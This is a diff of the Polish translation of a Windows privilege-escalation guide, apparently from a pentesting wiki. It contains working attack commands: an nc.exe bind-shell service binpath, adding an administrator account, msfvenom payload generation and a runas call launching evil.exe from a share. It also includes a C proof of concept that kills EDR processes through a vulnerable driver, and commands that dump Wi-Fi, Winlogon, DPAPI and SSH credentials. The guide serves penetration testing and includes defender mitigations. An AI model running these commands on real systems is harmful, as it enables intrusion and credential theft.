-_Usługi nie można uruchomić, ponieważ jest wyłączona lub nie ma powiązanych z nią włączonych urządzeń._ +_Usługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma powiązanych z nią włączonych urządzeń._ -Możesz ją włączyć używając +Możesz ją włączyć, używając ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` **Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)** -**Innym obejściem tego problemu jest uruchomienie:** +**Inne obejście** tego problemu to uruchomienie: ``` sc.exe config usosvc start= auto ``` -### **Modify service binary path** +### **Zmiana ścieżki pliku binarnego usługi** -W sytuacji, gdy grupa "Authenticated users" posiada **SERVICE_ALL_ACCESS** dla usługi, możliwa jest modyfikacja pliku wykonywalnego tej usługi. Aby zmodyfikować i uruchomić **sc**: +W scenariuszu, w którym grupa "Authenticated users" posiada **SERVICE_ALL_ACCESS** dla usługi, możliwa jest modyfikacja wykonywalnego pliku binarnego usługi. Aby zmodyfikować i uruchomić **sc**: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -493,26 +495,26 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -Eskalacja uprawnień może być osiągnięta dzięki następującym uprawnieniom: +Eskalację uprawnień można osiągnąć dzięki różnym uprawnieniom: - **SERVICE_CHANGE_CONFIG**: Pozwala na rekonfigurację binarki usługi. -- **WRITE_DAC**: Umożliwia zmianę uprawnień, co pozwala na modyfikację konfiguracji usług. -- **WRITE_OWNER**: Pozwala na przejęcie własności i zmianę uprawnień. -- **GENERIC_WRITE**: Daje możliwość zmiany konfiguracji usług. -- **GENERIC_ALL**: Również daje możliwość zmiany konfiguracji usług. +- **WRITE_DAC**: Umożliwia rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usług. +- **WRITE_OWNER**: Pozwala na przejęcie właścicielstwa i rekonfigurację uprawnień. +- **GENERIC_WRITE**: Dziedziczy możliwość zmiany konfiguracji usług. +- **GENERIC_ALL**: Również dziedziczy możliwość zmiany konfiguracji usług. -Do wykrywania i wykorzystania tej luki można użyć _exploit/windows/local/service_permissions_. +Do wykrywania i eksploatacji tej luki można użyć _exploit/windows/local/service_permissions_. -### Services binaries weak permissions +### Słabe uprawnienia plików binarnych usług -**Sprawdź, czy możesz modyfikować binarkę, która jest uruchamiana przez usługę** lub czy masz **uprawnienia zapisu do folderu** w którym znajduje się binarka ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -Możesz uzyskać listę wszystkich binarek uruchamianych przez usługę za pomocą **wmic** (nie w system32) i sprawdzić swoje uprawnienia za pomocą **icacls**: +**Sprawdź, czy możesz zmodyfikować binarkę uruchamianą przez usługę** lub czy masz **uprawnienia zapisu w folderze** w którym binarka się znajduje ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +Możesz uzyskać listę wszystkich binarek uruchamianych przez usługę przy użyciu **wmic** (nie w system32) i sprawdzić swoje uprawnienia za pomocą **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -Możesz też użyć **sc** i **icacls**: +Możesz również użyć **sc** i **icacls**: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt @@ -520,8 +522,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### Uprawnienia do modyfikacji rejestru usług -Powinieneś sprawdzić, czy możesz modyfikować jakikolwiek rejestr usług.\ -Możesz **sprawdzić** swoje **uprawnienia** względem rejestru **usług**, wykonując: +Powinieneś sprawdzić, czy możesz zmodyfikować dowolny rejestr usług.\ +Możesz **sprawdzić** swoje **uprawnienia** względem rejestru **usług** wykonując: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -530,16 +532,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -Należy sprawdzić, czy **Authenticated Users** lub **NT AUTHORITY\INTERACTIVE** posiadają uprawnienia `FullControl`. Jeśli tak, plik binarny uruchamiany przez usługę może zostać zmieniony. +Należy sprawdzić, czy **Authenticated Users** lub **NT AUTHORITY\INTERACTIVE** posiadają uprawnienia `FullControl`. Jeśli tak, plik binarny uruchamiany przez usługę można zmodyfikować. -Aby zmienić ścieżkę pliku binarnego uruchamianego: +Aby zmienić ścieżkę do uruchamianego pliku binarnego: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Rejestr usług — uprawnienia AppendData/AddSubdirectory - -Jeśli masz to uprawnienie na rejestrze, oznacza to, że **możesz tworzyć podrejestry w tym rejestrze**. W przypadku usług Windows jest to **wystarczające, aby wykonać dowolny kod:** +### Uprawnienia AppendData/AddSubdirectory w rejestrze usług +Jeśli posiadasz to uprawnienie dla rejestru, oznacza to, że **możesz tworzyć podrejestry z tego rejestru**. W przypadku usług Windows jest to **wystarczające do wykonania dowolnego kodu:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md @@ -547,15 +548,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -Jeżeli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows będzie próbował uruchomić każdy fragment poprzedzający spację. +Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows spróbuje uruchomić każdy fragment przed spacją. -Na przykład, dla ścieżki _C:\Program Files\Some Folder\Service.exe_ Windows spróbuje uruchomić: +For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -Wypisz wszystkie ścieżki usług nieotoczone cudzysłowami, z wyłączeniem tych należących do wbudowanych usług Windows: +Wypisz wszystkie niezacytowane ścieżki usług, z wyłączeniem tych należących do wbudowanych usług systemu Windows: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -575,19 +576,21 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**Możesz wykryć i wykorzystać** tę lukę za pomocą metasploit: `exploit/windows/local/trusted\_service\_path` Możesz ręcznie utworzyć binarkę usługi za pomocą metasploit: +Możesz wykryć i exploitować tę podatność za pomocą metasploit: `exploit/windows/local/trusted_service_path` + +Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` ### Akcje odzyskiwania -Windows pozwala użytkownikom określić działania, które mają być podjęte w razie awarii usługi. Funkcję tę można skonfigurować tak, aby wskazywała na plik binarny. Jeśli ten plik binarny można zastąpić, może to umożliwić eskalację uprawnień. Więcej szczegółów można znaleźć w [oficjalnej dokumentacji](). +Windows pozwala użytkownikom określić akcje, które mają zostać wykonane w przypadku awarii usługi. Ta funkcja może być skonfigurowana tak, aby wskazywała na binary. Jeśli ten binary można zastąpić, privilege escalation może być możliwa. Więcej szczegółów można znaleźć w [official documentation](). ## Aplikacje ### Zainstalowane aplikacje -Sprawdź **uprawnienia plików binarnych** (możesz nadpisać jeden z nich i uzyskać eskalację uprawnień) oraz **folderów** ([DLL Hijacking](dll-hijacking/index.html)). +Sprawdź **permissions of the binaries** (może uda ci się overwrite jeden z nich i escalate privileges) oraz **folders** ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -598,9 +601,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### Uprawnienia zapisu -Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać określony plik, lub czy możesz zmodyfikować binarkę, która zostanie uruchomiona przez konto Administratora (schedtasks). +Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik lub czy możesz zmodyfikować jakiś binarny plik, który zostanie wykonany przez konto Administratora (schedtasks). -Jednym ze sposobów znalezienia słabych uprawnień do folderów/plików w systemie jest: +Jednym ze sposobów znalezienia słabych uprawnień folderów/plików w systemie jest wykonanie: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -625,7 +628,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### Uruchamianie przy starcie -**Sprawdź, czy możesz nadpisać jakiś wpis w rejestrze lub binarkę, która zostanie wykonana przez innego użytkownika.**\ +**Sprawdź, czy możesz nadpisać jakiś wpis w rejestrze lub binarkę, która zostanie uruchomiona przez innego użytkownika.**\ **Przeczytaj** **następującą stronę**, aby dowiedzieć się więcej o interesujących **autoruns locations to escalate privileges**: @@ -635,28 +638,61 @@ privilege-escalation-with-autorun-binaries.md ### Sterowniki -Szukaj możliwych **third party weird/vulnerable** sterowników +Szukaj potencjalnych **sterowników stron trzecich, dziwnych/podatnych** ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -Jeśli sterownik udostępnia arbitrary kernel read/write primitive (częste w słabo zaprojektowanych IOCTL handlers), możesz eskalować uprawnienia, kradnąc SYSTEM token bezpośrednio z pamięci jądra. Zobacz technikę krok po kroku tutaj: +Jeśli sterownik ujawnia arbitralny kernel read/write primitive (częste w źle zaprojektowanych handlerach IOCTL), możesz eskalować, kradnąc token SYSTEM bezpośrednio z pamięci jądra. Zobacz technikę krok‑po‑kroku tutaj: {{#ref}} arbitrary-kernel-rw-token-theft.md {{#endref}} +#### Wykorzystywanie braku FILE_DEVICE_SECURE_OPEN w obiektach urządzeń (LPE + EDR kill) + +Niektóre podpisane sterowniki third‑party tworzą swój obiekt urządzenia z silnym SDDL przez IoCreateDeviceSecure, ale zapominają ustawić FILE_DEVICE_SECURE_OPEN w DeviceCharacteristics. Bez tego flagi, secure DACL nie jest egzekwowany, gdy urządzenie jest otwierane przez ścieżkę zawierającą dodatkowy komponent, pozwalając dowolnemu nieuprzywilejowanemu użytkownikowi uzyskać uchwyt używając namespace path takiej jak: + +- \\.\DeviceName\anything +- \\.\amsdk\anyfile (from a real-world case) + +Gdy użytkownik może otworzyć urządzenie, uprzywilejowane IOCTLs udostępnione przez sterownik mogą być nadużywane do LPE i tampering. Przykładowe możliwości zaobserwowane w praktyce: +- Zwracanie uchwytów z pełnym dostępem do dowolnych procesów (token theft / SYSTEM shell przez DuplicateTokenEx/CreateProcessAsUser). +- Nieograniczony raw disk read/write (offline tampering, boot-time persistence tricks). +- Kończenie dowolnych procesów, w tym Protected Process/Light (PP/PPL), umożliwiając AV/EDR kill z user land przez kernel. + +Minimalny wzorzec PoC (user mode): +```c +// Example based on a vulnerable antimalware driver +#define IOCTL_REGISTER_PROCESS 0x80002010 +#define IOCTL_TERMINATE_PROCESS 0x80002048 + +HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); +DWORD me = GetCurrentProcessId(); +DWORD target = /* PID to kill or open */; +DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0); +DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0); +``` +Środki zaradcze dla deweloperów +- Zawsze ustaw FILE_DEVICE_SECURE_OPEN podczas tworzenia obiektów urządzeń, które mają być ograniczone przez DACL. +- Weryfikuj kontekst wywołującego dla uprzywilejowanych operacji. Dodaj PP/PPL checks przed pozwoleniem na zakończenie procesu lub zwrotem uchwytów. +- Ogranicz IOCTLs (access masks, METHOD_*, walidacja wejścia) i rozważ modele brokered zamiast bezpośrednich uprawnień jądra. + +Pomysły wykrywania dla obrońców +- Monitoruj otwarcia w trybie użytkownika podejrzanych nazw urządzeń (e.g., \\ .\\amsdk*) oraz specyficzne sekwencje IOCTL wskazujące na nadużycie. +- Egzekwuj Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i utrzymuj własne allow/deny lists. + ## PATH DLL Hijacking -Jeśli masz **uprawnienia zapisu w folderze znajdującym się na PATH**, możesz przejąć DLL ładowaną przez proces i **eskalować uprawnienia**. +Jeśli masz **write permissions inside a folder present on PATH**, możesz przejąć DLL ładowaną przez proces i **escalate privileges**. -Sprawdź uprawnienia wszystkich folderów znajdujących się na PATH: +Sprawdź uprawnienia wszystkich folderów znajdujących się w PATH: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -Aby uzyskać więcej informacji o tym, jak wykorzystać tę kontrolę: +Więcej informacji o tym, jak wykorzystać tę kontrolę: {{#ref}} @@ -675,7 +711,7 @@ net share #Check current shares ``` ### hosts file -Sprawdź, czy w hosts file nie ma na stałe wpisanych innych znanych komputerów. +Sprawdź, czy w hosts file znajdują się wpisy innych znanych komputerów. ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -687,34 +723,34 @@ Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Open Ports -Sprawdź, czy z zewnątrz dostępne są **usługi z ograniczonym dostępem** +Sprawdź z zewnątrz, czy dostępne są **usługi z ograniczonym dostępem** ```bash netstat -ano #Opened ports? ``` -### Tabela routingu +### Tablica routingu ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### Tabela ARP +### Tablica ARP ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### Reguły zapory -[**Sprawdź tę stronę pod kątem poleceń związanych z zaporą**](../basic-cmd-for-pentesters.md#firewall) **(wyświetlanie reguł, tworzenie reguł, wyłączanie, wyłączanie...)** +[**Sprawdź tę stronę pod kątem poleceń związanych z zaporą**](../basic-cmd-for-pentesters.md#firewall) **(wyświetl reguły, utwórz reguły, wyłącz, wyłącz...)** Więcej[ poleceń do enumeracji sieci tutaj](../basic-cmd-for-pentesters.md#network) -### Podsystem Windows dla Linuksa (wsl) +### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Plik binarny `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Plik binarny `bash.exe` można też znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Jeśli uzyskasz root, możesz nasłuchiwać na dowolnym porcie (przy pierwszym użyciu `nc.exe` do nasłuchiwania portu system zapyta w GUI, czy `nc` ma być dozwolone przez firewall). +Jeśli uzyskasz root user, możesz nasłuchiwać na dowolnym porcie (przy pierwszym użyciu `nc.exe` do nasłuchiwania na porcie pojawi się okienko GUI z pytaniem, czy `nc` powinien zostać dozwolony przez zaporę). ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -725,9 +761,9 @@ Aby łatwo uruchomić bash jako root, możesz spróbować `--default-user root` Możesz przeglądać system plików `WSL` w folderze `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` -## Poświadczenia Windows +## Windows Poświadczenia -### Poświadczenia Winlogon +### Winlogon Poświadczenia ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -739,16 +775,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Menedżer poświadczeń / Windows Vault +### Menadżer poświadczeń / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vault przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, do których **Windows** może **automatycznie logować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje dane logowania do Facebook, Twitter, Gmail itp., aby automatycznie logować się przez przeglądarki. Jednak tak nie jest. +Windows Vault przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, do których **Windows** może **automatycznie zalogować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje poświadczenia do Facebook, Twitter, Gmail itp., aby automatycznie logować się przez przeglądarki. Jednak tak nie jest. -Windows Vault przechowuje poświadczenia, dzięki którym **Windows** może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do dostępu do zasobu** (serwer lub strona internetowa) **może korzystać z Credential Manager** i Windows Vault i użyć zapisanych poświadczeń zamiast wymagać od użytkownika ciągłego wpisywania nazwy użytkownika i hasła. +Windows Vault przechowuje poświadczenia, których Windows może użyć do automatycznego logowania użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Credential Manager** & Windows Vault i użyć zapisanych poświadczeń zamiast tego, żeby użytkownicy za każdym razem wpisywali nazwę użytkownika i hasło. -Jeżeli aplikacje nie współpracują z Credential Manager, nie wydaje mi się, żeby mogły użyć poświadczeń dla danego zasobu. Dlatego jeśli Twoja aplikacja chce korzystać z vault, powinna w jakiś sposób **komunikować się z Credential Manager i żądać poświadczeń dla tego zasobu** z domyślnego magazynu. +Jeśli aplikacje nie współpracują z Credential Manager, nie sądzę, żeby mogły użyć poświadczeń dla danego zasobu. Zatem jeśli Twoja aplikacja chce korzystać z vault, powinna w jakiś sposób **komunikować się z credential manager i żądać poświadczeń dla tego zasobu** z domyślnego vault. -Użyj `cmdkey`, aby wyświetlić listę zapisanych poświadczeń na maszynie. +Użyj `cmdkey`, aby wyświetlić zapisane poświadczenia na maszynie. ```bash cmdkey /list Currently stored credentials: @@ -760,45 +796,45 @@ Następnie możesz użyć `runas` z opcją `/savecred`, aby skorzystać z zapisa ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Używanie `runas` z dostarczonym zestawem poświadczeń. +Użycie `runas` z dostarczonym zestawem poświadczeń. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Zauważ, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Należy zauważyć, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), lub moduł PowerShell projektu Empire ([Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)). ### DPAPI -The **Data Protection API (DPAPI)** zapewnia metodę symetrycznego szyfrowania danych, stosowaną głównie w systemie Windows do symetrycznego szyfrowania asymetrycznych kluczy prywatnych. To szyfrowanie wykorzystuje sekret użytkownika lub systemu, aby znacząco zwiększyć entropię. +The **Data Protection API (DPAPI)** provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy. -**DPAPI umożliwia szyfrowanie kluczy przy użyciu klucza symetrycznego, który jest wyprowadzany z sekretów logowania użytkownika**. W scenariuszach związanych z szyfrowaniem systemowym wykorzystuje sekrety uwierzytelniania domeny systemu. +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**. In scenarios involving system encryption, it utilizes the system's domain authentication secrets. -Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje użytkownika [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Klucz DPAPI, umieszczony w tym samym pliku co klucz główny, który zabezpiecza prywatne klucze użytkownika**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wylistowanie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można je wylistować przez PowerShell). +Zaszyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier). **Klucz DPAPI, współlokowany z kluczem głównym, który zabezpiecza prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wylistowanie jego zawartości za pomocą polecenia `dir` w CMD, choć można to zrobić przez PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby go odszyfrować. +Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby to odszyfrować. -**Pliki poświadczeń chronione głównym hasłem** zwykle znajdują się w: +**Pliki poświadczeń chronione hasłem głównym** zwykle znajdują się w: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Możesz użyć **mimikatz module** `dpapi::cred` z odpowiednim `/masterkey`, aby odszyfrować.\ -Możesz **wyodrębnić wiele DPAPI** **masterkeys** z **pamięci** za pomocą modułu `sekurlsa::dpapi` (jeśli jesteś root). +Możesz użyć **mimikatz module** `dpapi::cred` z odpowiednim `/masterkey` aby odszyfrować.\ +Możesz **wyekstrahować wiele DPAPI** **masterkeys** z **pamięci** przy użyciu modułu `sekurlsa::dpapi` (jeśli jesteś root). {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### Poświadczenia PowerShell +### PowerShell Credentials -**Poświadczenia PowerShell** są często używane do **skryptowania** i zadań automatyzacji jako sposób wygodnego przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione przy użyciu **DPAPI**, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone. +**PowerShell credentials** są często używane do **scripting** i zadań automatyzacji jako wygodny sposób przechowywania zaszyfrowanych poświadczeń. Poświadczenia są chronione za pomocą **DPAPI**, co zwykle oznacza, że można je odszyfrować tylko tym samym użytkownikiem na tym samym komputerze, na którym zostały utworzone. -Aby **odszyfrować** poświadczenia PowerShell z pliku, który je zawiera, możesz zrobić: +Aby **odszyfrować** PS credentials z pliku, który je zawiera, możesz wykonać: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -809,7 +845,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### Wi-Fi ```bash #List saved Wifi using netsh wlan show profile @@ -818,12 +854,12 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### Saved RDP Connections +### Zapisane połączenia RDP Można je znaleźć w `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ i w `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### Recently Run Commands +### Ostatnio uruchomione polecenia ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU @@ -832,18 +868,18 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Użyj modułu **Mimikatz** `dpapi::rdg` z odpowiednim `/masterkey`, aby **odszyfrować dowolne pliki .rdg**\ -Możesz **wyodrębnić wiele DPAPI masterkeys** z pamięci za pomocą Mimikatz `sekurlsa::dpapi` modułu +Użyj modułu **Mimikatz** `dpapi::rdg` z odpowiednim `/masterkey` aby **odszyfrować dowolne pliki .rdg`\ +Możesz **wyekstrahować wiele DPAPI masterkeys** z pamięci przy użyciu modułu **Mimikatz** `sekurlsa::dpapi` ### Sticky Notes -Ludzie często używają aplikacji StickyNotes na stacjach roboczych z Windows, aby **zapisywać hasła** i inne informacje, nie zdając sobie sprawy, że to plik bazy danych. Ten plik znajduje się pod `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i zawsze warto go wyszukać oraz przejrzeć. +Użytkownicy często używają aplikacji StickyNotes na stacjach roboczych z Windows, aby **zapisywać hasła** i inne informacje, nie zdając sobie sprawy, że jest to plik bazy danych. Ten plik znajduje się pod adresem `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` i zawsze warto go wyszukać i przejrzeć. ### AppCmd.exe -**Pamiętaj, że aby odzyskać hasła z AppCmd.exe, musisz być Administratorem i uruchomić go na poziomie High Integrity.**\ -**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\`.\\ -Jeśli ten plik istnieje, możliwe że jakieś **credentials** zostały skonfigurowane i mogą zostać **odzyskane**. +**Uwaga: aby odzyskać hasła z AppCmd.exe, musisz mieć uprawnienia Administratora i uruchomić go na poziomie High Integrity.**\ +**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\`.\ +Jeśli ten plik istnieje, możliwe, że niektóre **credentials** zostały skonfigurowane i można je **odzyskać**. Ten kod został wyodrębniony z [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -926,7 +962,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM Sprawdź, czy `C:\Windows\CCM\SCClient.exe` istnieje .\ -Instalatory są **uruchamiane z uprawnieniami SYSTEM**, wiele jest podatnych na **DLL Sideloading (Informacja z** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Instalatory są **run with SYSTEM privileges**, wiele z nich jest podatnych na **DLL Sideloading (Informacje z** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -938,27 +974,27 @@ else { Write "Not Installed." } ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH klucze hosta +### Putty SSH klucze hostów ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys w rejestrze +### Klucze SSH w rejestrze -Prywatne klucze SSH mogą być przechowywane w kluczu rejestru `HKCU\Software\OpenSSH\Agent\Keys`, więc warto sprawdzić, czy znajduje się tam coś interesującego: +Klucze prywatne SSH mogą być przechowywane w kluczu rejestru `HKCU\Software\OpenSSH\Agent\Keys`, więc powinieneś sprawdzić, czy jest tam coś interesującego: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Jeśli znajdziesz jakikolwiek wpis w tej ścieżce, prawdopodobnie będzie to zapisany klucz SSH. Jest on przechowywany zaszyfrowany, ale można go łatwo odszyfrować przy użyciu [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Więcej informacji o tej technice: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Jeśli znajdziesz jakikolwiek wpis w tej ścieżce, prawdopodobnie będzie to zapisany SSH key. Jest on przechowywany zaszyfrowany, ale można go łatwo odszyfrować za pomocą 